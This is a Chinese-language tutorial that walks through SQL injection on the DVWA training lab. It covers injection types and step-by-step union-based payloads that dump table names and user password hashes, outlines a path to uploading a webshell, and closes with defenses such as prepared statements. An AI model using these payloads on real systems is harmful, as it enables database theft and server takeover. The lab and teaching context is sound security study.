DVWA学习之SQL Injection(SQL 注入)

DVWA学习之SQL Injection(SQL 注入)

  • SQL Injection(SQL 注入)
  • 0x01 何为SQL Injection(SQL 注入)
  • 0x02 万能密码
  • 0x03 SQL注入的分类
      • 1.数字型
      • 2.字符型
      • 3.搜索型
        • 3.1 搜索型简介
        • 3.2 搜索型原理
        • 3.3 搜索性注入判断方法
  • 0x04 SQL注入常规利用思路
  • 0x05 SQL注入步骤(非盲注)
  • 0x06 ==数据库管理系统表的结构==
  • 0x07 low级别
    • 1.判断是否存在注入,注入类型是字符型还是数字型
    • 2.猜测SQL查询数据中的字段数
    • 3.确定显示的字段顺序
    • 4.获取当前的数据库信息
    • 5.获取数据库的表
    • 6.获取表中的字段名
    • 7.获取数据
  • 0x08 medium级别
    • 1 判断是否存在注入,注入是字符型还是数字型:
    • 2 猜测SQL查询语句中的字段数:
    • 3 确定显示的字段顺序
    • 4 获取当前数据库
    • 5 获取数据库中的表
    • 6 获取user表的字段名
    • 7 获取表中数据
  • 0x09 high级别
  • 0x0a impossible级别
  • 0x0b 如何防SQL注入

SQL Injection(SQL 注入)

0x01 何为SQL Injection(SQL 注入)

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构, 从而达到执行恶意SQL

语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,以至于整个服务器被控制、所有数据库信息泄

露, 尽管如此,SQL注入仍是现在最常见的Web漏洞之一。曾经很火的大使馆接连被黑事件,据说黑客 依靠的就是常见的SQL

注入漏洞。

0x02 万能密码

谈到SQL注入,就不得不先认识一下万能密码,简单了解一下万能密码的构成原理。

万能密码是由于某些程序通过采用判断SQL语句查询结果的值是否大于0,来判断用户输入数据的正确性造成的。当查询大于0

时,代表查询存在,放回true;否则,查询失败,返回false。由于‘or 1=1 #’,不管其他条件如何, 在执行后结果始终为真;‘and

1=2’,不管其他条件如何,在执行后,结果始终为假。因此,这一类密码成为万能密码。

0x03 SQL注入的分类

SQL注入,一般分为三类:数字型、字符型和搜索性。不管是哪种类型,注入的目标都是相同的,那就是通过破坏正常的SQL查

询语句的结构,返回数据库信息(包括数据库的结构、表结构、数据等)。

首先,来看一下三种类型的SQL查询语句的区别,仔细观察下面的SQL语句,那就能够发现:

 数字型: SELECT 列 FROM 表 WHERE 数字型列=值

 字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

 搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’

但是,无论注入的类型是数字型、字符型还是搜索性,注入的方法一般都分为两种:“闭合法”、“注释法”

1.数字型

当输入参数为数字类型时,例如页码,ID等,存在注入时则为数字类型的注入。

这类注入方式常见于PHP和ASP等弱类型语言中,弱类型语言会自动推导数据类型。

例如,输入的ID的值为1时,会自动推导出ID的数据类型为int型,	当输入的ID的值为1 and 1 = 2时,会自动推导出ID的数据类
		
为string型, 但JAVA或者C#这类强类型语言并没有这样的特性,int型强制转换成string型时, 会抛出异常,注入失败,所以这
 
类注入方式常见于弱类型语言中。

当输入的参数为整型时,如果存在注入漏洞,一般认定为数字型注入,数字型注入的三个条件:

正常的SQL查询语句结构: select * from table where id=$ id : $ id为要输入的变量

1、加单引号’: 报错

对应的sql:select * from table where id=1’ ,这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

2、加 and 1=1,查询正常

对应的sql:select * from table where id=1 and 1=1 语句执行正常,与原始页面没有差异;

3、加 and 1=2,查询失败

对应的sql:select * from table where id=1 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

2.字符型

 当输入参数为字串类型时,则为字串类型的输入,其与数字类型的注入的区别在于:注入时需要使用单引号来闭合。 
 
 其不同主原因在于sql语句的差异 例,select *from user where name = ‘admin’ 则注入时需要单引号闭合, 注入的数据应为
 
admin’and 1 = 1 -	-, 合并为sql则为select * from user where name = ‘admin’and 1 = 1 – ‘ 

当输入的参数为字符串型时,如果存在漏洞,一般认定为字符型注入。字符型注入和数字型注入的最大的一个区别在于,字

符型必须用单引号来闭合,而数字型不需要闭合,这和SQL语句的结构息息相关。

字符型注入的三个条件:

正常的SQL查询语句结构: select * from table where id=’ $ id ’ : $ id为要输入的变量

1、输入1’ : 报错(单个单引号,无法闭合)

对应的sql:select * from table where id='1' ' 

2、输入1 ’ and ‘1’ = '1,查询成功

对应的sql:select * from table where id='1 ' or '1' = '1'

3、输入1 ’ and ‘1’ ='2,查询失败

对应的sql:select * from table where id='1 ' and '1' ='2'

:还可以使用注释符,构造SQL语句,进行绕过,例如mysql常用的注释有三类:

1、-- :注意这种注释后面有一个空格;

2、#:注释后面的内容;

3、/**/:注释符号内的内容。

上面2、3中的查询语句可以分别更换为:

2:  1 ' and '1' = '1    <===>   1' and 1=1 #
3:   1 ' and '1' = '2   <===>    1' and  1=2 #

3.搜索型

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数, 一般在链接地址中有 "keyword=关键字" 有的不显示在的链接			

地址里面, 而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句, 其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存

在	注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

相对于字符型注入和数字型注入,搜索型注入更加复杂一些,接下来详细解释一下搜索型注入:

3.1 搜索型简介

现在的网站资源一般相对雄厚,在网站的开发过程中,开发者一般会在网中中提供搜索框方便用户对信息的检索,但是,开发者

在编辑网站时,一般会忽略对用户检索的变量的过滤,导致用户可以通过给变量赋予不同的值,从而破坏数据查询语句,查询到

后台的隐私数据,搜索注入漏洞也广泛存在于各大系统:

搜索漏洞又分为POST型和GET型,其中GET型一般用在网站上的搜索,而POST型一般用在用户的注册、登录等需要保密的查

询。主要通过form表单的method属性指定是什么类型。搜索型注入又叫文本框注入。

3.2 搜索型原理

 正常的SQL语句:$sql="select * from user where username like ' % $key % '  ";($key:查询的值)

该句SQL语句的含义是,在基于用户输入的$key值在user表中查找相应的username,正常情况下输入一个key值就会查询一次,但如果输:'and 1=1 and ‘%’ = ',条件一直为真,爆出所有的查询结果,存在注入。

SQL语句就变为: sql="select * from user where username like '%' and 1=1  and  '%'  =  '%'   ";

3.3 搜索性注入判断方法

1、搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2、搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3、搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4、搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5、根据两次的返回情况来判断是不是搜索型文本框注入了
6、常用语句:       '  and 1=1 and '%' = '
   					%' and 1=1-- '
			  		%' and 1=1 and '%' = '

0x04 SQL注入常规利用思路

1、寻找注入点、可以通过web扫描工具实现;

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本信息等相关信息,做好信息	
收集工作;

3、猜解关键数据库表及其重要字段(常见如存放管理员账户的表名、字段名等信息);

4、尝试通过获得的用户信息,寻找后台登录;

5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,知道拿到服务器权限。

0x05 SQL注入步骤(非盲注)

尽管现在sqlmap(自动化注入工具,日后详谈使用方法)已经很好的实现了自动化注入功能,但只有理解了手工注入的思路和

步骤后,我们才能理解和利用注入漏洞。

下面简要介绍手工注入(非盲注、关于盲注后面会继续更博)的步骤:

1、判断是否存在注入,注入是字符型还是数字型;

2、猜测SQL查询语句中的字段数;

3、确定显示的字段数;

4、获取当前数据库;

5、获取当前数据库的表;

6、获取表中的字段名;

7、下载数据。

0x06 数据库管理系统表的结构

该图为mysql数据库的数据库管理系统表的表结构,该表结构必须搞清楚
DVWA学习之SQL Injection(SQL 注入)_第1张图片

0x07 low级别

1.判断是否存在注入,注入类型是字符型还是数字型

 1、输入:1',查询失败;
 2、输入:1 ' and '1' ='1 //(user_id = '1 '  and  '1' ='1')  查询成功;
 2、输入:1 ' and '1' ='2  // (user_id = '1 '  and  '1' ='2')查询失败;
 说明存在注入,并且注入类型为字符型

DVWA学习之SQL Injection(SQL 注入)_第2张图片
DVWA学习之SQL Injection(SQL 注入)_第3张图片
DVWA学习之SQL Injection(SQL 注入)_第4张图片

2.猜测SQL查询数据中的字段数

action one:使用order by语句:order by num(num表第几列,当第num列不存在时,报错,说明共有num-1列)

	1、输入:1' or 1=1 order by 1 #  //(user_id = '1' or 1=1 order by 1 #')查询成功
	2、输入:1' or 1=1 order by 2 #  //(user_id = '1' or 1=1 order by 2 #')查询成功
	3、输入:1' or 1=1 order by 3 #  //(user_id = '1' or 1=1 order by 3 #')报错
	按照第三列排序,第三列报错,说明共有2列

DVWA学习之SQL Injection(SQL 注入)_第5张图片
action two:使用group by语句:group by num(num表第几列,当第num列不存在时,报错,说明共有num-1列)
order by:按照某列进行排序;group by :按照某列分类
DVWA学习之SQL Injection(SQL 注入)_第6张图片
action three:使用联合查询:

输入:1' and 1=2 union  select  1,2 from information_schema.tables # // (user_id = '1' and 1=2 union  select  1,2 from information_schema.tables #') 查询成功
输入:1' and 1=2 union  select  1,2,3 from information_schema.tables # // (user_id = '1' and 1=2 union  select  1,2,3 from information_schema.tables #') 查询失败

DVWA学习之SQL Injection(SQL 注入)_第7张图片

3.确定显示的字段顺序

在第2步中,爆出有有两个字段,再通过联合查询,查询字段名

输入:1' union select 1,2# //查询成功,此时执行的语句为:(select First name,Surname from 表 where ID='id'…)

DVWA学习之SQL Injection(SQL 注入)_第8张图片

4.获取当前的数据库信息

 输入:1' union select 1,database() # // 获取数据库名
 
 以下为获取数据库其他信息的函数:
 
		 1.system_user()  系统每个用户名称
		 
		 2.user()         用户
		 
		 3.current_user   当前用户
		 
		 4.session_user() 连接数据库的用户名
		 
		 5.version()      数据库版本
		 
		 6.database()     数据库名
		 
		 7.load_file()    转成16进制或者是10进制mysql读取本地文件的函数
		 
		 8.@@datadir      读取数据库路径
		 
		 9.@@basedir      mysql安装路径
		 
		 10.@@version_compile_os  操作系统

DVWA学习之SQL Injection(SQL 注入)_第9张图片

5.获取数据库的表

输入: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #  //  查询数据库中的表

DVWA学习之SQL Injection(SQL 注入)_第10张图片

6.获取表中的字段名

 输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #	 //  查询表中的字段名

DVWA学习之SQL Injection(SQL 注入)_第11张图片

7.获取数据

输入:1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #    //   获取表中的数据(密码经过加密的可以阐释使用)

DVWA学习之SQL Injection(SQL 注入)_第12张图片
经验告诉我们这是经过md5加密的,使用md5解密试试:
DVWA学习之SQL Injection(SQL 注入)_第13张图片

0x08 medium级别

该级别,设置了下来才菜单,并且当我们提交后发现URL中没有显示ID,所以提交方式为post,这时我们不可以直接构造URL

想到用burpsuit抓包拦截,更改参数:设置好代理和拦截,发送至repeater
DVWA学习之SQL Injection(SQL 注入)_第14张图片

1 判断是否存在注入,注入是字符型还是数字型:

在id字段直接更改参数:

 1、输入:'  //  输出错误
 2、输入:and 1=1  //查询成功
 3、输入:and 1=2  //查询失败
 由此判断存在注入、并且注入类型为数字型注入

DVWA学习之SQL Injection(SQL 注入)_第15张图片
DVWA学习之SQL Injection(SQL 注入)_第16张图片
DVWA学习之SQL Injection(SQL 注入)_第17张图片

2 猜测SQL查询语句中的字段数:

1、输入:1 order by 1 #  //成功

2、输入: 1 order by 2 #  //成功

3、输入: 1 order by 3 #  //报错,只有两列

这里和字符型类似,按照第三行排序报错,第二行正常,说明只有2列。

或者使用:group by:原理类似、用法相同(group by 按照分类)

再或者使用联合查询:1 union select 1,2 #   //成功
				   1 union select 1,2 ,3# //报错,只有两列

DVWA学习之SQL Injection(SQL 注入)_第18张图片
DVWA学习之SQL Injection(SQL 注入)_第19张图片

3 确定显示的字段顺序

 输入:1 union select 1,2 #

在这里插入图片描述

4 获取当前数据库

输入:1 union select 1,database() #  // 爆出数据库名:dvwa

DVWA学习之SQL Injection(SQL 注入)_第20张图片

5 获取数据库中的表

输入:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  ///  获取dvwa库中的表guestbook,users

DVWA学习之SQL Injection(SQL 注入)_第21张图片

6 获取user表的字段名

 输入:1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

DVWA学习之SQL Injection(SQL 注入)_第22张图片
发现报错,查看错误信息可知:'user’的单引号被转义了,表名字段使用十六进制即:user进行十六进制编码:user=0x7573657273

输入:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#\\
	     \\ 成功 user_id,first_name,last_name,user,password,avatar,last_login,failed_login

DVWA学习之SQL Injection(SQL 注入)_第23张图片

7 获取表中数据

输入: 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #  //  获取用户名和密码

DVWA学习之SQL Injection(SQL 注入)_第24张图片

0x09 high级别

High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果High级别的查询提交页面与查询结果显示页

面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询

提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。添加了limit限制每次只能查询一个,用#注释,查询即可。
DVWA学习之SQL Injection(SQL 注入)_第25张图片

0x0a impossible级别

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为

一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

0x0b 如何防SQL注入

方法一:严格检查输入变量的类型和格式

1.对数字类型的参数id的强校验(empty()为空验证和is_numeric()进行数字验证)

2.对字符串类型的参数的校验 (正则校验)

方法二:过滤和转义特殊字符

方法三:进行预编译:包括mysqli或者pdo,这也是最为有效的方法

你可能感兴趣的:(DVWA学习)